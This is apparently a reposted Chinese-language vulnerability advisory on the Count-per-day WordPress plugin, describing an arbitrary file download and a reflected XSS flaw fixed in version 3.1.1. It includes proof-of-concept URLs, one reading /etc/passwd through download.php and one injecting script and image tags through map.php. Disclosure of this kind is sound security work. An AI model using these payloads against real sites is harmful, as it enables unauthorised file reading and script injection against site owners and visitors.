Wordpress插件Count-per-day多个缺陷及修复 - 网站安全

标题: Count-per-day Wordpress plugin Arbitrary file download and XSS 影响版本: < 3.1.1 作者6Scan (http://6scan.com) security team www.2cto.com 下载 地址: http://wordpress.org/extend/plugins/count-per-day/ 官方修复: This advisory is released after the vendor has responded and fixed the issue. 概述:     用户可以远程调用一个脚本下载任意文件 另外一个问题是非持久xss   文件下载测试：   www.2cto.com /wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd   XSS测试   www.2cto.com /wp-content/plugins/count-per-day/map/map.php?map='")); </script><img src=http://up.2cto.com/2012/0113/20120113125942128.jpg>'

查看更多关于Wordpress插件Count-per-day多个缺陷及修复 - 网站安全的详细内容...